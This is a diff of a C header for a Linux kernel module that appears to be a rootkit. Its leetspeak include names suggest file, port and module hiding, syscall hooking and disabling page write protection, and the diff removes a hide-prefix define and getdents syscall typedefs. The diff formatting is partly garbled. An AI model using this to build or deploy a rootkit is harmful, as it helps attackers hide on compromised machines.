|
|
@ -18,16 +18,24 @@
|
|
|
|
*/
|
|
|
|
*/
|
|
|
|
#ifndef SRC_HEADERS_8008135_H
|
|
|
|
#ifndef SRC_HEADERS_8008135_H
|
|
|
|
#define SRC_HEADERS_8008135_H
|
|
|
|
#define SRC_HEADERS_8008135_H
|
|
|
|
|
|
|
|
|
|
|
|
/**** Includes ***************************************************************
|
|
|
|
/**** Includes ***************************************************************
|
|
|
|
*******************************************************************************/
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
#include "637d3n75.h"
|
|
|
|
|
|
|
|
#include "50ck3t.h"
|
|
|
|
|
|
|
|
#include "h1d3m0dul3.h"
|
|
|
|
|
|
|
|
#include "h1d3p0r7.h"
|
|
|
|
|
|
|
|
#include "p463unpr073c7.h"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// To set module data
|
|
|
|
#include <linux/module.h>
|
|
|
|
#include <linux/module.h>
|
|
|
|
|
|
|
|
// To communicate kernel
|
|
|
|
#include <linux/kernel.h>
|
|
|
|
#include <linux/kernel.h>
|
|
|
|
|
|
|
|
/*
|
|
|
|
#include <linux/kallsyms.h>
|
|
|
|
#include <linux/kallsyms.h>
|
|
|
|
#include <asm/special_insns.h>
|
|
|
|
|
|
|
|
#include <linux/string.h>
|
|
|
|
#include <linux/string.h>
|
|
|
|
#include <linux/fs.h>
|
|
|
|
|
|
|
|
#include "5y563n.h"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#include <linux/fs.h>
|
|
|
|
#include <linux/fdtable.h>
|
|
|
|
#include <linux/fdtable.h>
|
|
|
|
#include <linux/net.h>
|
|
|
|
#include <linux/net.h>
|
|
|
|
#include <linux/seq_file.h>
|
|
|
|
#include <linux/seq_file.h>
|
|
|
@ -36,18 +44,10 @@
|
|
|
|
#include <linux/version.h>
|
|
|
|
#include <linux/version.h>
|
|
|
|
#include <net/tcp.h>
|
|
|
|
#include <net/tcp.h>
|
|
|
|
#include <net/udp.h>
|
|
|
|
#include <net/udp.h>
|
|
|
|
|
|
|
|
*/
|
|
|
|
/**** Defines *****************************************************************
|
|
|
|
/**** Defines *****************************************************************
|
|
|
|
*******************************************************************************/
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
|
|
|
|
#define GETDENTS_SYSCALL_NUM 78
|
|
|
|
|
|
|
|
#define READ_SYSCALL_NUM 0
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#define HIDE_PREFIX "8008135."
|
|
|
|
|
|
|
|
#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#define MODULE_NAME "8008135"
|
|
|
|
|
|
|
|
#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/**** Modinfo ****************************************************************
|
|
|
|
/**** Modinfo ****************************************************************
|
|
|
|
*******************************************************************************/
|
|
|
|
*******************************************************************************/
|
|
|
@ -57,18 +57,5 @@ MODULE_AUTHOR("JanKoernerEnterprises");
|
|
|
|
MODULE_DESCRIPTION("8008135");
|
|
|
|
MODULE_DESCRIPTION("8008135");
|
|
|
|
MODULE_VERSION("0.1");
|
|
|
|
MODULE_VERSION("0.1");
|
|
|
|
|
|
|
|
|
|
|
|
/**** type *******************************************************************
|
|
|
|
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
struct linux_dirent {
|
|
|
|
|
|
|
|
unsigned long d_ino;
|
|
|
|
|
|
|
|
unsigned long d_off;
|
|
|
|
|
|
|
|
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
|
|
|
|
|
|
|
|
char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
|
|
|
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
|
|
|
|
|
|
|
|
struct linux_dirent __user *dirent,
|
|
|
|
|
|
|
|
unsigned int count);
|
|
|
|
|
|
|
|
typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf,
|
|
|
|
|
|
|
|
size_t count);
|
|
|
|
|
|
|
|
#endif
|
|
|
|
#endif
|
|
|
|